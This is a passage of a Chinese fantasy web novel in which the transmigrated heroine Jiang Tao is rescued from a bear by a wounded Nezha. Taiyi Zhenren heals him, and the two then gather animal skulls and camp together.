姜桃记不住他的样子,却知道他长得明艳凌厉,俊美得几乎都有些逼人了。
所以周围叽叽喳喳得同学们都止住了交谈,屏住呼吸盯着少年看。
少年却将目光直直锁定在她身上,薄唇一扬,三步并作两步地拾级而上,长腿一抬,直接从过道跳进她身旁,还把原本坐在她旁边的一个男同学给扒拉走了。
“哟,可下找到你了。”他笑道,顺势坐下来,眉眼张扬,艳丽而妖娆。
还抬起一只手臂,不由分说捏住她脖子,就像在捏一只小猫,引得周围一片嘘声。
姜桃莫名其妙,如坐针毡,但很快梦境就散了。
不是散了,是换了场景。
她坐在自己的写字台前,一边复习考试,一边盯着窗户发呆。方才场景是冬天,而此刻却是春天,夜风沁凉,温柔拂面,她满足地闭眼吸了口夹带着花香的空气,再睁眼时,却看见面前与写字台毗邻的窗台上,赫然蹲着那个红衣少年。
她吓得失声尖叫,刚从椅子上落荒而逃,蓬松在头顶的丸子头就被少年一把捏住。
“不许动,我找了你这么久,你别再想逃开了。”少年巨力惊人,她竟纹丝无法动。
“放开我,放开我,你到底是谁呀,怎么总是缠着我—
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—”姜桃听见自己喊道,两只手不断拍打着少年的手臂,试图让他放开自己。
少年可不管这些,撑着她的后脑勺就跃进她房间,不过总算是松开了罪恶的手爪,双手插兜不拿自己当外人地四处乱看。
甚至还掀开她的被子,抱着手臂大剌剌坐上去。
“你到底是谁,为什么你总能找到我?”姜桃在梦里生气却害怕地质问道。
少年眸光一沉,视线陡然锐利,从床上一跃而起,有些粗暴地攫住她左手手腕。
那张俊美到令人窒息的面孔,与她只有咫尺之遥,他们鼻尖相贴,呼吸相挨。
与现实中的潮湿不同,他的气息、他的呼吸都是干冽而灼热的,还浮动着一股幽淡的清香。
“总能找到我?”他微笑着重复道,眼睛却紧紧盯着她双眼,拇指指甲在她手腕轻轻擦蹭,“谁让你,一直都带着我的东西呢?”
诶?
姜桃不解,垂眼向下看,却看见自己左手腕上,不知何时出现了一条红绳。
“啊啊啊啊——”姜桃惊声尖叫,啪嗒,一只果子打在她脸上,把她惊醒了。
她揉揉眼睛,看见天边已泛出鱼肚白,晨曦很快就要降临了。
她居然安安稳稳睡了一宿,好像还做了什么梦,但她一点也记不起来了。
她拍拍身上的土,从头发里扒拉出两只黑色虫子,头皮发紧地把它们扔出帐篷放生。
她盘腿坐了一会儿,才慢慢吞吞钻出帐篷。
既然已经醒了,那就赶紧干活吧。
许是睡饱了的缘故,她忽然干劲满满,早饭都没急着吃,抱着异次元空间袋就往上一层山上跑。
一层一层地毯式搜素直到山顶,就不信凑不齐十二颗。
然而现实总是很骨感,她在第一个山洞里就遇到了麻烦。
那里睡着一头熊,硕大的身形隐匿在阴影中,以至于姜桃根本没看见它,还在地上认真地扒拉,下一秒,熊吼声迅速在洞内膨胀,吓得她连袋子都忘了,撒腿就往外跑。
这个洞穴十分深,前方还有一大块裂谷,只有一张摇摇晃晃的木板桥通往洞外,姜桃来的时候都是抱着桥一侧的麻绳哆哆嗦嗦走的。
熊紧跟而来,巨大的身躯震动得石子纷纷滚落,砸得姜桃哇哇乱叫,但她连惊恐的功夫都没有,拼尽全力往前狂奔,木板桥近在咫尺。
就在她脚踏上桥板时,熊飞扑而来,她下意识闪身,脚底一滑,身体直接跌下桥面,向下坠落。
完了。
然而她的坠落只持续了半秒不到,身体就倏然停滞在半空中。
那种头皮紧绷的熟悉感觉再度袭来,姜桃颤颤巍巍朝头顶看去,看见火尖枪直挺挺插入她头顶丸子里,将她整个人都定在岩壁上。
她整个身体的重量,都悬吊在头发上。
而下一秒,就是那只熊脑浆破裂地从她面前坠落,坠啊坠,直到很久才听见坠地声,已是极其微弱。
若非修炼过,姜桃怕是也听不见。
熊的脑浆和血液溅了一些到她脸上、睫毛上,她甩了甩脑袋,听见一道冰冷且愠怒的声音破空而来。
“我等了你一整天,你为何失约?”
是哪吒的声音。
姜桃心里涌上的第一感觉是心安,然后是愧疚,最后才是害怕。
她抬起眼睛,刚想解释,却浑身猛然一震。
踩着风火轮悬空立在她头顶的哪吒,浑身遍布着密密麻麻的刀口,像是被千万道利刃切割过一般,鲜血淋漓,惨不忍睹。
一只耳朵,还被削去了大半。
只是那双微微泛着金色的黑瞳,依旧清亮而顽强,带着压抑的怒火与孩子气的执着。
他、他这是怎么了?
姜桃睁大了眼睛,难以置信。
9. 太乙真人
看着他浑身伤口密布的惨状,姜桃一时间忘记了自己也正吊在半空中岌岌可危,难以置信地瞪大眼睛,无法想象他到底是如何弄得这一身伤。
以及如何如此精准地将她找到。
“三……哪吒,我、你,那个——”她磕磕巴巴开口,却不知要怎样去问。
他那怒火闷燃的眼神,令她轻轻打起战栗,而他那还在滴血的伤口,令她心头一阵揪痛。
就算是他,也一定很疼吧,毕竟此时此刻还只是肉体凡胎……
最后她抬起手臂,摸了摸头顶可怜的小丸子,将它解散,手指向上握住火尖枪,动用全身力气再加上一点法力,像马戏团的小动物一般将自己提拉上去,再踩着枪杆攀爬到木板桥上。
她的动作挺可笑的,还持续了挺长时间,但哪吒并没有再度发问,也没有发难,就这么保持着愤怒又焦躁的样子,死死盯着她的一举一动。
好不容易在桥上站稳,姜桃首先想到的不是如何回答他,而是他这一身伤要怎样才能快速医治,她迅速搜寻记忆,都没能找到任何可以治愈伤口的法术。
原主的记忆她一点也没有,所知道的法术都是穿越这段时间,她自己一点点摸索出来的,还有些是跟小妖怪们学的。
她不知道其他人如何,但她在法术方面悟性挺高,基本一点就透,可即便如此,以她目前的水平充其量只能止止血,让他别再像纸一样越来越惨白。
“为什么不回答我的问题!”哪吒终于憋不住了,气冲冲又问道。
风火轮的火焰似是感染到了他的怒意,越发熊熊燃烧起来,热浪滚滚,驱散了洞穴中的阴寒。
姜桃从思绪中猛然回神,深吸一口气,仰起头望向他,实话实说道:
“哪吒,对不起,我本是想去找你的,可是在我们分别那天,师父提前出关了。发现我偷偷溜出去她很生气,罚我在这山中搜集十二块带角的动物头骨,收集不完不许离开,所以我没能去找你,真的对不起——”
空气里弥漫着紧绷的沉默,姜桃看着他还在不断涌血的伤口,忽然猜到了什么。
“哪吒,莫、莫非你是为了找我,强行突破结界,才弄的这一身伤吗?”她瞪圆眼睛,感到一股战栗从尾椎窜到头顶,令她全身短暂地瘫痪了一瞬。
如果是这样的话,那这孩子也太冲动彪悍了——
哪吒垂着眼眸,半晌没有回答,他的眼瞳笼罩着火焰一样的金光,以至于姜桃无法看清他的神情,正努力分辨间,他倏然消失在她眼前,而下一秒,他就瞬移到她跟前,眼中金色消散,再度变成了她在李府庭院中见到的,倔强又带点孩子气的模样。
“你真的不是故意躲避我?”风火轮的火焰变成了电磁炉大小,小少年的睫毛与她只有半尺之隔。
“当然不是了。”姜桃有点哭笑不得,轻轻眨了眨眼,睫毛与他相触,有种痒痒的感觉。
他脸上滴下一滴血,落在她面颊上,姜桃心口一跳,连忙一把扯住他的手:“哪吒,先不要说别的了,你伤得实在太重,我试试看能不能先给你止止血。”
没等他回答什么,她就动用起全部法力,先在他手臂上试验。
一层水绿色的光慢慢覆盖过他手臂,姜桃循着记忆,让光像蛇一样在他肌肤上缠绕着行进,过了几分钟,竟真的稍稍止住了血。
她又在其他地方继续,大约过了半个时辰,总算是让他不再血流不止。
整个过程,他都异常顺从,任她摆弄,甚至还有点乖顺,宛如一只被顺毛捋过的布偶猫。
可姜桃只能做到这些,他的伤口仍然触目惊心,血只是减缓了渗出速度,从本质而言她啥也没治好,还得尽快寻一个靠谱的医生。
就他这受伤程度,普通医生怕是还不如她呢。
“你……很担心我?”哪吒忽然开了口,声音带着试探,以及一丝古怪的扭捏。
姜桃正含泪捏着他手臂检查修复程度,闻言想都没想就道:“那还用问吗?你都伤成这样子,谁会不担心啊?”
说罢,继续埋头检查其他地方,认真得一丝不苟。
当检查到他一侧衣服口袋时,她手指触电般一顿。
虽然全身覆满伤口,可口袋里她送他的那只沙袋,却完好无损。
她手指抖个不停,更多酸涩涌上来,在垂下脑袋的时候,偷偷抹了抹眼睛。
“除了娘亲外,都没有人这么关心过我。”哪吒嘟嘟囔囔又道,可语气却并不伤感。
姜桃讷讷抬起眼睛,见他虽然一身伤,但竟流露出几分得意与开心。
你究竟得意个什么呀,难道你感觉不到痛吗?
姜桃忍不住在心里疯狂吐槽道,又涌起一阵心疼,眼角也再次泛起潮湿,迅速埋下头去。
“大家都很关心你的。”姜桃抽抽鼻子,安慰道。
“我爹就不关心我。”提起李靖,哪吒又来了坏脾气,也不管姜桃正在为他疗伤,唰地就盘腿坐下,“要不是他向那个老道求来结界
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,我也不会伤成这样。”
“所以你果然强行突破结界了?”姜桃也坐下来,“以后你可不许再这样了。”
出乎她意外,哪吒居然认真点了点头。
“对了,你是怎么知道我在这里呢?”姜桃突然想到了另一个关键问题。
“哎呀,我、我耳朵痛,你能再帮我看看耳朵吗?”哪吒忽然尖起嗓子嚷道,还很痛似的把脖子歪向一边,唧唧歪歪的,完全就是一个受了伤的孩子的模样。
姜桃立刻就把这个问题抛到九霄云外,连忙给他缺了一块的耳朵二度疗伤。
“你师父太坏了,居然让你在这妖怪野兽出没的荒山中捡骨头,等会儿我就去找他好好理论一番!”哪吒义愤填膺地说道,脖子还乖乖歪着。
“别,你可别去,那样的话我以后会更麻烦。”姜桃赶紧制止他,脑中还浮现了“哪吒大闹骷髅山”的章回体标题。
“那可不行,你是我的朋友,你挨欺负了,我岂能坐视不管?”哪吒小朋友气得膝盖都翘起来来,看样子是不太痛了。
“你呀,还是先把伤口都治好再说吧。”姜桃发觉他虽然易燃易爆炸,但意外地好安抚,“再这样下去可不行,万一感染了就不好办了。”
正当她思考对于哪吒这种体质(灵珠子转世)存不存在“感染”这一可能性,以及接下来到底要去哪里寻医,一道蓝紫色亮光就在洞口一闪而过,接着一团云飞进来,云上载着一位仙风道骨的蓝袍道人和陈塘关总兵李靖。
“你、你、你这个逆子,居然敢硬闯大师设下的结界,你该当何——”李靖看见儿子,也不知是惯性还是为了彰显威严,看都没看仔细就开口骂道,可下一秒看见他浑身都是伤,话音戛然而止。
姜桃正对着他,清楚看见他眼里闪过一丝心疼,但稍纵即逝,他似乎在强行压抑,坚决不允许自己在儿子面前服软。
“你、你这伤是怎么回事?”他一侧胡须动了动,马上就想到了唯一的可能性,立刻又习惯性地起了兴师问罪的冲动。
哪吒不理他,连头都不回,只把下巴昂得很高,一副“不听不听,王八念经”的态度。
李靖气得另一侧胡须也飞了起来。
“李兄莫激动,让我先给娃子疗伤吧,这伤得可不轻啊。”蓝袍道人捻须笑道,他长得周正清瘦,年龄看着也就四十出头,鼻梁略长,眼睛很有神,右手持一把拂尘。
太乙真人。
姜桃想都没想,就猜到了他的身份。
10. 收徒
太乙真人不愧是十二金仙之一,只用了不到半炷香时间,就将哪吒身上的裂口全部愈合,那只被削去一半的耳朵,也以肉眼可见的速度一点点长出来。
好厉害,自己要是有他十分之一的功力,完全可以在这世界横着走,游山玩水下,恣意地享受畅快人生。
然一想到那个预言,她又迅速低落下来,手指抠着袋子,眼睛盯着自己的脚尖。
她真的必须死吗?命运真的不可逆转吗?
哪怕就逆转一点,让她胳膊或者腿被射中,她宁愿残疾,也想活下去。
这是累加了足足二十五年的对生的渴望,来自于一个体弱多病的少女。无论豁达过多少次,内心深处对生的渴望依然无法熄灭,她只能压抑,只能不去想,以虚假的微笑告诉所有人她已经想开了,只要享受有限的生命即可,可实际上,她从来没有真正想开过,所有的一切都是自己骗自己,骗的次数多了,也就慢慢麻木了。
她还是想活的,无论前生,还是今世。
如此一想,眼眶微微红了。
哪吒再怎么受伤,受磨难,也还是拥有无限生命的,可自己呢,是死是活,根本不会有人在意。
“闺女,你是不是也受伤了?来来来,我给你也治一治。”太乙真人的声音忽然传入耳中。
虽然他端坐在洞口位置,声音却仿佛就响在姜桃耳边。
她一愣,抬头望过去,眼眶还泛着微红。
刚刚跑路的时候,她脚崴了一下,再就是胳膊手背上有些擦伤,而这些都不必刻意用法力治疗,回去敷点草药几天就好。
虽然道行低到不必提及,但她现在的身体可比普通人类强不少,搁在超英电影里少说也是个能加入X战警的人物。
一想到这儿,她复又乐观起来。
她总是很好安抚,也很会随遇而安。
“不劳烦仙长了——”姜桃扭捏一下,嘴甜地说道。
太乙真人似乎很受用,胡子都翘起来了。
“不必客气,过来吧,刚刚你为吒儿疗伤,也消耗不少功力吧,我给你补一补。”和仙风道骨的外表不同,他的声音十分接地气,莫名地有亲切感。
一听这话,姜桃就不扭捏了,小碎步走过去,在哪吒刚刚坐过的位置坐下来。
免费加油,谁不想要呢。
不过,她给哪吒疗伤,并没觉得消耗什么,她的法力虽然不高,但还挺源源不断的。
“谁、谁让你叫我吒儿的,好恶心!”哪吒站在一旁,凶狠地瞪着太乙真人道。
“哪吒——”姜桃下意识扭头给了他一个眼色,意思是好歹人家也帮你疗伤了,不说谢谢也就罢了,怎么还能骂人呢。
哪吒不领情,抱着手臂理直气壮道:“哼,要不是他设下那结界,我也不会受伤,归根结底都是他有错在先。”
“你这个逆子,道长设结界是为了你好,你竟还大放厥词,你、你、你想气死我是不是?”太乙真人还没说什么,李靖率先吹胡子瞪眼睛了,看那架势,似乎还想使用点家庭暴力。
“就气你,就气你!”哪吒也不甘示弱,跳到一块石头上跟李靖怒目相视。
虽然但是,两人之间的对决,只维持在互相放狠话和眼波对冲上,谁也没进一步。
姜桃头顶慢慢飘过几条黑线。
这对父子的相处,虽然不咋地,但好像也没激化到水货不相容的地步,甚至还有点幼稚好笑。
她嘴角轻轻弯了起来,眼神转回来时,看见太乙真人,正用一双琥珀色的眸子专注地盯着她。
?
姜桃有些不解,以为隔着一层蓝紫色的光自己看错了,然而真人并未刻意躲闪目光,而是略微倾身,随和问道:“闺女,你师从何人啊?”
不知是否错觉,有点明知故问的调调。
“报告仙长,我的师父是旁边骷髅山白骨洞里的石矶娘娘。”姜桃拿出年底述职的态度,认认真真回答道。
柔和的蓝紫色光芒散去,她瞬间感到身体里充盈着力量,那些微不足道的小伤口也早已愈合。
“竟然是她。”李靖收回与儿子大眼瞪小眼的目光,捻着胡须若有所思道。
“当年就是她劝说师父让我下山,放弃修行,在人间谋得一官半职。”他自言自语道,“如此看来,我们算是有些交情。”
姜桃忽然发现,过来这么久,李靖始终没有对她发过难,即便在一般人看来,就是她不知怎么的“引诱”了他的儿子,让他不惜受千刀剐蹭之痛,也要冲破结界跑来见面。
可能是忘了,也可能是看她柔柔弱弱一小姑娘,直接就认定了错都在自己儿子身上。
从这个角度看,李靖其实还挺正直的,比那些不分青红皂白维护自己儿子的儿宝爹、儿宝妈强多了。
虽然站在哪吒的角度,他很气人就是了。
“多谢仙长。”疗愈结束,姜桃拍拍身上的土站起来,又拱手行了一礼。
再抬头时,太乙真人已起身,拂尘在胸前甩出圆润的弧度,搭垂在他左臂弯中。
“哪吒,若是这位姑娘肯和你一起回府,你可愿意日后做我的徒弟?”他转身走向哪吒,慈祥笑问道。
哪吒和姜桃同时一愣,李靖先是一愣,随即面露喜色,比听见自己登基还惊喜,甚至都做出了拱手拜谢的姿势。
“啊,这、这怎么行——”姜桃不知怎的,耳朵红了,小小声嘟囔了一句。
“没问题,一言为定!”与此同时,哪吒迅速而大声地回答道,吓得姜暖脖子一缩,惊恐望过去。
让她住在李府,不就相当于时
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刻成为活靶子吗?
诶,等等,姜子牙曾说过让她远离骷髅山,那是不是表明,只要不在骷髅山中,她就可以免于被射死?
这个可能性,她之前怎么就一点也没想到呢?
若是能这样的话,她或许应该去李府,哪怕当个门童都行——
而且这是她唯一一次可以离开骷髅山的机会,毕竟李靖和石矶娘娘有几分交情,同时还有实力很牛的太乙真人在场,娘娘或许会给面子,放她自由。
可这么做会不会有点不地道?毕竟娘娘也算是她的师父……
正拧眉纠结着,哪吒热乎乎地跳到她身边,灼热的掌心握住她手腕,几乎是上蹿下跳道:“你快答应他啊,然后我们就可以一直在一起玩了!”
“……”姜桃唇瓣蠕动,转眸看他,却被吓了一大跳。
他好像一瞬间长大了一大圈,眉眼也舒展开来,那份张扬的美貌越发被放大,晃得姜桃一时竟有些眼晕。
他竟从五六岁模样,一下变成了十一二岁!
不愧是灵珠转世,人家都一年一年长,他五年五年地长——
只是对此,惊讶的人好像只有她,李靖完全是一副早习以为常的样子,太乙真人则笑呵呵地摸着黑色长胡子,一脸老父亲式的慈祥。
总感觉他比李靖更像哪吒的爹呢——
也是,毕竟灵珠子是他没日没夜辛辛苦苦炼制的,怎么不算另一种意义上的亲爹呢?难怪后来对哪吒那么好,还给了他一身法宝。
“我、我——”姜桃迟疑不决,她□□德感较高,不愿意做不地道的事。
“还犹豫什么啊,你师父就因为你偷偷溜出去几天,便罚你在这里寻死,你为何还要顾及她?”身体变大的同时,好像心里年龄也骤增,竟一眼看穿了她的心中所想,说话也有些条理。
哪是溜出去几天,师姐没有出卖她,所以在师父眼中,她只跑出去一天,可即便这样还是遭到了如此严酷的惩罚——
她咬咬牙,猛地抬起头:“那就有劳仙长说于我师父吧。”
太乙真人满意地点点头。
他满意,大概是因为哪吒终于肯做他的徒弟了吧,姜桃心想。
不过李靖一家,从爹到三个儿子,最终全部肉身成圣,获得尊贵封号与神圣地位,且还不必受封神榜束缚。
这样的人,一共也就七个。
所以抱住李家大腿,似乎是个不错的选择。
姜桃心里复杂地转着好多想法,却没注意到旁边哪吒正偷偷瞄着她,手臂还耀武扬威地抱在胸前,嘴角挂着得意又满足的笑。
只是这样的笑,挂在五岁孩童脸上,是傲娇又可爱的,而在十几岁男孩脸上,却带着点轻浮欠揍的调调。
不过姜桃没看着,也就没有想打他的冲动了。
11.阿桃
“请、请等一等。”姜桃忽然昂起头,叫住正欲离开前往白骨洞的太乙真人。
“仙长,不管怎么说,师父都对我有教养之恩,还是由我亲自去和她说明吧。在此之前,我想先完成师父交代的任务。若是我无法说服她,再劳烦仙长帮忙斡旋。”
太乙真人似乎丝毫不感意外,他抚着长须,微笑着点了点头,看着她道:“好。”
可旁边,哪吒却不依不饶起来,蹭地又跳得近了些,脑袋差点撞到她胸口。
原来的他还不到她胯骨高,如今这么一蹿,头顶几乎与她胸口平齐,就算与同龄十一二岁孩子相比,也算高的了,不知道再蹿几次,会不会比他目测一八几的老爹都高。
“凭什么还给她完成任务,我还要去找她算账呢——”说罢,就要踩上风火轮,吓得姜桃连忙一把扯住他的胳膊。
她手腕上的红绳在他视线边缘晃动,让他倏地又冷静下来,收起风火轮,悻悻地光脚踩在地面上,余光偷偷斜瞄她白皙手臂,嘴角幼稚而得意地卷了卷。
这一切被太乙真人收入眼中,他带着慈爱笑了笑,而后又不易察觉地轻轻摇头,嘴里叹道:“哎,孽缘,真是孽缘啊。”
只是,谁也没听到他那呓语般的感慨,姜桃正思索着要如何与石矶娘娘说,哪吒不知想到了什么,一改态度,一边偷偷瞄姜桃,一边露出窃笑,而李靖则摸着下巴在琢磨何时举办一场隆重的拜师大会,让邻里都来参加,让他们好好看看,自己的儿子可不是什么怪物,而是能被十二金仙之一认可并主动收入门下的小天才。
三人各想各的,太乙真人朝李靖招了招手:“李总兵,先随我回去吧。”
李靖一贯敬重这些道行高深之人,连忙拱手道“好”,扯着哪吒就要走。
“我不去,我要留在这里陪她完成任务。”哪吒熟练地跟父亲拉扯起来,就像是一条凶猛的小蛇在与老鹰缠斗。
“就让他留在这吧,他有我的法宝,自然不会遇到危险。李总兵,哪吒以后是肩负大任之人,这般小事你尽管放开,不必将他管束得如此严格。”太乙真人轻声道。
此话一出,简直如同箴言,李靖立刻就松开了手,凶猛小蛇朝他吐了吐红通通的信子,愉快地叉起了腰。
“碧云,”太乙真人忽然唤道,姜桃连忙回神,却见一枚树叶从真人拂尘中飞出,落入她手中,“这枚叶子可以指引你寻到你师父要你找的东西,完成任务后,让哪吒用三味真火烧掉它,我便会现身。”
“多、多谢仙长。”姜桃简直受宠若惊,连忙垂首拜谢。
她一个小小炮灰,居然能得到大佬指点,果然还是沾了哪吒的光。
如此一想,她有点哭笑不得。未来要杀她的人,却一直在帮助她,这是何等的地狱笑话。
她朝哪吒投去小心翼翼的一瞥,却见他正一直瞄着她,嘴角挂着笑,那笑容不知是否错觉,有那么一丝丝……油腻。
确切地说,是清爽中透着油腻。姜桃连忙扭过脑袋,趁人不注意,使劲在上面“邦”地敲了一记。
绝对是眼花了,但她没有勇气扭头再瞅,垂下眼皮整理起口袋,叠了一层又一层,直到再也叠不动,才抬起眼睛。
那边,李靖正板着脸翘着胡子叮嘱哪吒不许惹祸,给道长蒙羞,哪吒意外地心情不错,抱着手臂昂着下巴,第一次没跟他顶嘴。
很快,太乙真人带着李靖离开了,他们前脚一走,哪吒就撒欢似的蹦来蹦去,最后凑到她身边,一把握住她带着红绳的那只手腕。
“走吧,走吧,我们一起去找带角的动物,快点完成任务然后回家。”
“哦。”姜桃迟钝地应了一声,被他扯着往洞外走。
看着他纤细却初见少年形态的背影,姜桃不知怎的微微红了面颊。方才为了给他疗伤,她对他可谓是上下其手,就像是对待曾经的小熊玩偶一样,如今她是再也不敢了,生怕一不小心摸到什么不该摸的地方……
“我还不知道你叫什么呢?”踏出山洞,阳光唰地一下就洒满周身,他松开她手臂,蹦跳着转过身,认真地问道。
“我、我叫……姜桃。”她犹豫了一瞬,说出自己的本名。
因为说碧云,总觉得马上要炮灰掉,“姜桃”好歹还能让她心里安心点。
“姜桃……”他眼睛往下垂了垂,咂摸着她的名字,忽地眼睛一亮道,“那以后我就叫你桃子吧。”
“不行,会被吃掉的。”姜桃立刻否决。
“那就叫桃桃。”
“太肉麻了。”
“阿桃?”
“好吧。”组合来组合去,就这一个勉为其难不算尴尬,她只好忍下了,免得他再蹦出奇怪的外号。
“阿桃,阿桃,阿桃——”哪吒兴奋地绕着她上蹿下跳,先前的高冷范是一点也看不见了。
这时,几只小猴子从树上跳下来,今天清晨就是它们用果子将她砸醒的,那果子被她当早餐吃了。
小猴子们扑到她身上,上半身缀着两只,下半身三只,鼻子嗅来嗅去,露出愉快的神情。
“去去去,哪来的野猴子——”哪吒毫不客气劈手揭下来一只,甩到一旁,可小猴根本不怕他,“叽叽”叫着又扑上来,还报复性地拿尾巴甩他一脸。
“不用管它们,一会儿它们闻够了,自己就走了。”姜桃习以为常地一摊手,抬腿继续往前走去,完全不当回事。
哪吒被猴子糊了一脸,记起了仇,然报复手段也只是冲猴子吐了吐舌头,还提议一会儿饿了,逮住一只用火烤着吃。
“我一直都很受草食动物欢迎。”姜桃咧嘴笑笑,弯身捡起一根树枝,轻轻逗弄着小猴,“也不知是什么原因。“
就穿越过来这几个月,她都好几次被还没修炼出人形的小鹿小羊啃了屁股。
“那是因为你身上有一股草木的清香。”哪吒突然说道,抬手将扑在她上半身的两只猴子一左一右丢出去,然后没大没小地凑到她颈窝,使劲嗅了一下,坏笑道,“嘿嘿,怪不得你叫阿桃呢,身上有股桃子香哦。”
姜桃有些局促地微微躲开他。
确实,她出生的时候就带着桃子香味,所以父母才给她起了这个名字,可只出生时候有,后来就没有了,所以很可能是老爸老妈期待太久形成的错觉。
噢,对了,她和哪吒其实是有一个共同点的,她也在母亲肚子里呆了较长的时间(整整十二个月)才呱呱坠地。
一想到母亲辛辛苦苦生下她,她却这么不争气,连25岁都活不过,心里不禁一阵难过。
难过之余,还没忘继续逗小猴。
哪吒斜睨着那几只不知好歹,分散了她注意力的猴子,终于忍无可忍,一条火红绸带自他身上飞出,散发着火焰与毁灭的气息,瞬间就将小猴们吓得四处逃窜。
目的达成,哪吒满意地又收回混天绫,姜桃这才注意到,混天绫原来竟是他的上衣,他将它唤出,上半身就裸露出来,将它收回,它则瞬间幻化成衣服形状,贴在他白皙肌肤上。
所以他闯结界的时候,是带着混天绫的,否则怕是早就粉身碎骨了。
看来他虽然冲动,却也有些谋略,属于是急脾气但脑子很好使的类型。
他们跟随着太
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乙真人的树叶,一路盘山而行,很顺利地又捡了四具动物头骨。
一开始,哪吒还咋咋呼呼一口气席卷三四处地点,在她到达前就把骨头给她挖出来了,后来不知是想到了什么,忽然就消极怠工了,抱着后脑勺慢悠悠跟在她身后,只在她不忍心拧断头骨时,上前搭一把手。
有些动物还没彻底腐化,血肉都翻卷在外,需要先剥皮再取骨头,这时候姜桃直接退出几米远,看着哪吒面无表情地抽筋削肉剥骨,动作流畅而狠厉,一点也不手软。
从她的角度,可以看见他侧面的轮廓,挺直的鼻梁,骨感的下颚,那种冷酷凌厉的感觉再一次浮现,他仿佛是一架没有感情的屠宰机器,血与肉在他手指之间翻飞,比灰尘还没有存在感,引不起他丝毫在意。
一面是会幼稚地跟小猴较劲的少年,一面是会阴冷无情地剥皮抽骨的冷面杀神,到底哪一个,才更接近于本质的他呢?
姜桃心底隐隐升起一股寒意,不易察觉地瑟缩了一下。
若是有一天,自己惹他不高兴了,或者他寻到了新的玩伴,会不会也这样对她呢?
她打了个小小的哆嗦,再抬头时哪吒不知何时已到了她眼前,黑色眸子在她下巴处微微抬起,雪白的面颊上溅着几滴带着腐腥味的暗红色血迹。
“给,第八个。”他笑了一下,笑容本应该还是开心的,却因渐沉的天色和昏暗的洞穴而显得有几分鬼魅。
“哦。”姜桃连忙张开袋子,让他把剔得干干净净,不带一丝筋肉残留的犀牛头骨扔进去。
出了山洞,天空已经变成了靛青色,哪吒有些刻意地一扭头,说道:“阿桃,今天就到此为止吧,我们找个地方歇息过夜吧。”
姜桃也已经累了,便点了点头,说好,从衣服口袋里掏出手帕,在哪吒脸上轻轻擦了擦。
那些血痕挂在上面,属实容易让她做噩梦。
哪吒乖乖地任她擦拭,睫毛向上抬起,被夜色染上一抹幽沉的目光一瞬不瞬望着她。
“阿桃,你真好。”他忽然说道,嘴角扬起微笑的弧度。
也不知是不是被方才的形象连累了,姜桃总觉得这笑带着几分病态——
“还、还好吧。”姜桃有点语无伦次起来,眼神飘忽了一瞬,收起手帕尬笑道,“我还要感谢你呢,要是没有你,我真不知道要怎么处理这些头骨。”
这是实话,她吃鱼的时候都不敢让鱼头对着自己,更别提拿小刀一寸一寸地给死不瞑目的动物们刮肉去筋了。
“阿桃,你不会再离开我了,是不是?”他像是没听到她的谢意,歪起脑袋又问道,态度认真极了,几乎都有些较真了。
那双黑曜石一样黑得纯粹的眸子,隐隐泛出金色的晕泽,邪魅中还透出几分神性。
这孩子,到底抽什么风了?
姜桃不解,但还是点了点头:“只要你不辇我走。”
话毕还不到三秒,邪魅版哪吒瞬间消散,上蹿下跳的哪吒回来了,一把拉住她手腕,开心地道:“走吧,走吧,我们去那边搭帐篷,然后我烤鱼给你吃。”
“哦,哦——”姜桃稀里糊涂不知道是第几次被他拽着走了。
他好像特别喜欢拽她手腕,尤其是带着红绳的那只,就算体位别扭也要拉着。
果然还是个孩子嘛,孩子总是阴晴不定的,也正常。
姜桃努力往积极的方面想,一手拎起裙角,跟上他的步伐。
他的速度不算快,显然刻意考虑了她的能力范围。他的手心很热,像是聚着一团火,她忽然感觉周身都暖融融的,是她最喜欢的那种干燥的温暖。
12.共眠
太阳彻底落下山岚的时候,他们在半山腰一处临河的地方搭起了帐篷。
帐篷还是姜桃昨晚用的那个,她用法术扩大了些,毕竟要多容纳一个人,还得稍稍留出些安全空间,不能像一个人时那般糊弄。
哪吒虽然厉害,此刻却不会什么法术,便去河边捉鱼。当姜桃听见身后传来翻江倒海般的轰隆声,扭过头查看时,才意识到他这根本就不是在捉鱼,而是炸鱼。
混天绫宛如一条燃烧的红线,灵活地卷曲、翻飞,在河水里搅出惊人的气势,数不清的鱼白花花地飞上了天,在暮色中显得分外刺眼,劈里啪啦落在岸上。
按照各种传说与小说中描写,他此番还是收敛了许多呢,大闹东海的时候,他只是在海里洗洗混天绫,就把龙宫搅得东倒西歪,今日却只炸出一些倒霉的小鱼,绝对是手下留情了。
姜桃抹抹额角冷汗,嘴角抽搐着转回头,加倍用心地整理帐篷,以防在夜晚入睡时它倒下来,把小魔王给压着。
不一会儿,哪吒拎着十几条鱼蹦蹦跳跳回来了,还没等姜桃意欲搭把手,他就已经熟练地收集起木柴,搭成易于燃烧的结构,手心向上一抬,一团比寻常火焰更炽烈的火团跳跃在他掌心之上。
他将火球投进柴火堆,又用木杆把鱼一条条串好,架在火上烤。
一套动作麻利而流畅,姜桃偷偷看过去好几眼,越发觉得他是那种只要稍稍用心,什么都能做得很好的孩子。
而且还挺能干的,这边架好烤鱼,那边又窜上一棵树,捧了几只果子下来。
姜桃除了搭帐篷,完全没有用武之地,心虚又带点惬意地享受着大小姐般待遇。
这是她能享受的吗?直到啃咬着香喷喷的烤鱼时,她还受宠若惊地想着这个问题。
那可是哪吒三太子啊,她着实有些不敢消受。
可是烤鱼真的好好吃,她一边惭愧,一边小口小口地狂吃了四五条,还吃了两只不知是什么、微微有点发涩但口感绵软的红色果子。
哪吒盘腿坐在她身边,吃得意外安静,火焰跃动在他脸上,将他的面容映照得明灭不定,也给他的眼瞳涂上了一抹金色。
其实他的眼睛一直都是很深的那种黑,纯粹而幽邃,仿佛无机质般冷沉剔透,可不知为什么,姜桃总是会时不时地在其中看出一抹烫人的金色,就像是鲜活的火焰那样,她有些想不明白,却又不敢总盯着他看,便将疑惑压住,继续埋头啃小鱼。
“阿桃,鱼好吃吗?”他忽然扭过脸来,认真地问道。
姜桃立刻点头,如小鸡啄米。
确实好吃嘛。
哪吒眉眼间腾起一抹不易察觉的喜色,接着便转过头继续安静吃鱼。
直到很久,都没有人再开口。
“呐,哪吒,回去之后拜了师父,你可要认真学习哦。”黑夜逐渐笼罩山林,寂静加深了人的不安感,姜桃主动找话道。
此刻火焰已差不多燃尽,只零星迸溅着残余的火星,因此周遭就越显沉寂,空气中回荡着鸟兽窸窸窣窣的声音,隐隐还有蛇潜行的嘶嘶声。
不过这回姜桃是什么都不怕了,哪吒很让她有安全感。
即便她未来或许注定死于他之手。
